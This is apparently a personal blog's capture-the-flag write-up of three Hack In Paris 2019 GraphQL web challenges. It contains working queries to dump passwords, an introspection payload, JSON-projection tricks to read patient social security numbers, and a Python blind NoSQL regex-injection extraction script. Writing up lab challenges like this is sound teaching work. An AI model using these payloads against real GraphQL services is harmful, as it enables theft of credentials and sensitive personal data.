swisskyrepo.github.io/_posts/2019-6-22-HIP19-MeetYourDoctor.md

layout	title
post	HIP19 Writeup - Meet Your Doctor 1,2,3

Last wednesday I was in the Hack In Paris event for the 3rd time. As always there were some great conferences and challenges, and a new competition called "Hacker Jeopardy" which was very fun! During the Wargame I focused my time on Web challenges based on the graphql technology which was new to me, you will find below my writeups for the Meet Your Doctor challenges.


Meet your doctor 1 - 100 pts

URL: http://meetyourdoctor1.challs.malice.fr
Goal : Please help me find the Meet your doctor Admin password

Gobuster revealed a /graphql endpoint at the root of the website, browsing http://meetyourdoctor1.challs.malice.fr/graphql gave us an access to an interactive GraphQL interpreter. On this page we can browse the documentation and schema.

There, we can get the structure of the Doctor type.

{% highlight sql %} type Doctor { id: ID! firstName: String! lastName: String! specialty: String! patients: [Patient!] rendezvous: [Rendezvous!] email: String! password: String! } {% endhighlight %}

It seems we don't need to authenticate with the mutation signIn to query Doctor data.

{% highlight sql %} type Mutation { signIn(login: String!, password: String!): Token! } {% endhighlight %}

A simple query {Doctors{id email password}} was enough to extract all doctors' email and password. The flag was the password of the Admin doctor : Now-_Let$|GetSeri0us


Meet your doctor 2 - 200 pts

URL: http://meetyourdoctor2.challs.malice.fr
Goal: I need to find the Patient 0 social security number! It is a matter of life and death

In this challenge we didn't have access to an online "lab" to test and query the GraphQL. I made a tool to interact with the /graphql endpoint, it is open-source and available for free on Github: https://github.com/swisskyrepo/GraphQLmap.

Using Introspection we can still get the GraphQL schema, here is the URL-encoded version (Full version available at "GraphQL Injection: enumerate-database-schema-via-introspection").

{% highlight sql %} fragment+FullType+on+__Type+{++kind++name++description++fields(includeDeprecated%3a+true)+{++++name++++description++++args+{++++++...InputValue++++}++++type+{++++++...TypeRef++++}++++isDeprecated++++deprecationReason++}++inputFields+{++++...InputValue++}++interfaces+{++++...TypeRef++}++enumValues(includeDeprecated%3a+true)+{++++name++++description++++isDeprecated++++deprecationReason++}++possibleTypes+{++++...TypeRef++}}fragment+InputValue+on+__InputValue+{++name++description++type+{++++...TypeRef++}++defaultValue}fragment+TypeRef+on+__Type+{++kind++name++ofType+{++++kind++++name++++ofType+{++++++kind++++++name++++++ofType+{++++++++kind++++++++name++++++++ofType+{++++++++++kind++++++++++name++++++++++ofType+{++++++++++++kind++++++++++++name++++++++++++ofType+{++++++++++++++kind++++++++++++++name++++++++++++++ofType+{++++++++++++++++kind++++++++++++++++name++++++++++++++}++++++++++++}++++++++++}++++++++}++++++}++++}++}}query+IntrospectionQuery+{++__schema+{++++queryType+{++++++name++++}++++mutationType+{++++++name++++}++++types+{++++++...FullType++++}++++directives+{++++++name++++++description++++++locations++++++args+{++++++++...InputValue++++++}++++}++}} {% endhighlight %}

It is strongly recommended to use Firefox to view the server response as it parses JSON an displays it nicely.


Using GraphQLmap, we got the following structure.

{% highlight sql %} ============= [SCHEMA] =============== e.g: name[Type]: arg (Type!)

Query doctor[]: email (String!), doctors[Doctor]: options (JSON!), patients[Patient]: patient[]: id (ID!), allrendezvous[Rendezvous]: rendezvous[]: id (ID!), Doctor id[ID]: firstName[String]: lastName[String]: specialty[String]: patients[None]: rendezvous[None]: email[String]: password[String]: Patient id[ID]: firstName[String]: lastName[String]: doctor[Doctor]: ssn[String]: Rendezvous id[ID]: date[String]: confirmed[Boolean]: Mutation signIn[Token]: login (String!), password (String!), Token token[String]: {% endhighlight %}

In this case Doctors have an options parameter which accepts JSON. It allows us to specify items linked to the doctors' structure and project their data into the GraphQL response. I saw the following picture in a blog post, it helped me a lot to understand the structure of the query.


We can query {doctors(options: "{\"patients.ssn\" :1}"){firstName lastName id patients{ssn}}}, don't forget to escape the " inside the options.

{% highlight json %} GraphQLmap> {doctors(options: "{"patients.ssn" :1}"){firstName lastName id patients{ssn}}} { "firstName": "Admin", "id": "5d089b25f48c29003191e3b5", "lastName": "Admin", "patients": [ { "ssn": "b16cff8b-4a5a-41c8-8545-d9880fd7aae5" } ] } {% endhighlight %}

There we go, the second flag was b16cff8b-4a5a-41c8-8545-d9880fd7aae5.
An asciinema version is available at https://asciinema.org/a/sbqGXnWXl5Y6YeQr0wzsCzQli

Meet your doctor 3 - 300 pts

URL: http://meetyourdoctor3.challs.malice.fr Goal: I need to find the Patient 0 social security number! It is a matter of life and death

Things are getting complicated, we can dump the schema as the Introspection is set to false. Based on the previous challenge we can guess the structure is the same. Unfortunately we can't reuse the same query to extract the ssn, we get the following error.

{% highlight bash %} Field "doctors" argument "search" of type "JSON!" is required, but it was not provided. {% endhighlight %}

This means there is a search argument in the doctor structure, something like doctors[Doctor]: options (JSON!), search(JSON!). Pete Correy explains how to exploit the search argument in his blog post GraphQL NoSQL Injection Through JSON Types.

Let's try a simple NoSQL injection with fields we know such as lastName.

{% highlight json %} OK: {doctors(options: 1, search: "{ "lastName": { "$regex": "Admi"} }"){firstName lastName id}} KO: {doctors(options: 1, search: "{ "lastName": { "$regex": "Admia"} }"){firstName lastName id}} {% endhighlight %}

Since the challenge I added a way to test the regex quickly in GraphQLmap using the GRAPHQL_CHARSET keyword inside a GraphQL query:

{% highlight json %} GraphQLmap > {doctors(options: 1, search: "{ "lastName": { "$regex": "AdmiGRAPHQL_CHARSET"} }"){firstName lastName id}}
[+] Query: (45) {doctors(options: 1, search: "{ "lastName": { "regex\": \"Admi"} }"){firstName lastName id}}
[+] Query: (45) {doctors(options: 1, search: "{ "lastName": { "$regex": "Admi("} }"){firstName lastName id}}
[+] Query: (45) {doctors(options: 1, search: "{ "lastName": { "$regex": "Admi)"} }"){firstName lastName id}}
[+] Query: (206) {doctors(options: 1, search: "{ "lastName": { "$regex": "Admi*"} }"){firstName lastName id}}
[+] Query: (45) {doctors(options: 1, search: "{ "lastName": { "$regex": "Admi0"} }"){firstName lastName id}}
[+] Query: (45) {doctors(options: 1, search: "{ "lastName": { "$regex": "Admi1"} }"){firstName lastName id}}
[+] Query: (206) {doctors(options: 1, search: "{ "lastName": { "$regex": "Admin"} }"){firstName lastName id}} {% endhighlight %}

The injection worked, now we can re-use the payload from the challenge #2 and extract the social security number of the patient 0, which is the patient of the Admin doctor. The query was as follows, where we had to replace CHARACTER_FROM_THE_FLAG to test characters from the flag.

{% highlight json %} { doctors( options: "{"limit": 1, "patients.ssn" :1}", search: "{ "patients.ssn": { "$regex": "^CHARACTER_FROM_THE_FLAG"}, "lastName":"Admin" }") { firstName lastName id patients{ssn} } } {% endhighlight %}

Obviously we scripted the data extraction in Python, the script below will get the last flag : 4f537c0a-7da6-4acc-81e1-8c33c02ef3b.

{% highlight javascript %} def blind_nosql(URL): data = "" data_size = 35 charset = "0123456789abcdef-" while len(data) != data_size: for c in charset: query ="{doctors(options:%20%22{%22%22patients.ssn%22:1}%22,%20search:%20%22{%20%22patients.ssn%22:%20{%20%22$regex%22:%20%22^PLACEHOLDER%22},%20%22lastName%22:%22Admin%22%20,%20%22firstName%22:%22Admin%22%20}%22){id, firstName}}" injected = (URL.format(query)).replace("PLACEHOLDER", data + c) r = requests.get(injected) if r.json()['data']['doctors'] != []: data += c print("\033[92m[+] Data found:\033[0m {}".format(data)) {% endhighlight %}

At that time we were checking if the content of r.json()['data']['doctors'] was not empty, in order to abstract the data extraction we now take a check input from the user in order to compare the output.

{% highlight json %} GraphQLmap > nosqli Query > {doctors(options: "{""patients.ssn":1}", search: "{ "patients.ssn": { "$regex": "^BLIND_PLACEHOLDER"}, "lastName":"Admin" , "firstName":"Admin" }"){id, firstName}} Check > 5d089c51dcab2d0032fdd08d [+] Data found: 4f537c0a-7da6-4acc-81e1-8c33c02ef3b {% endhighlight %}

I hope you enjoyed the challenges as I did !
Feel free to share the blog post ! :)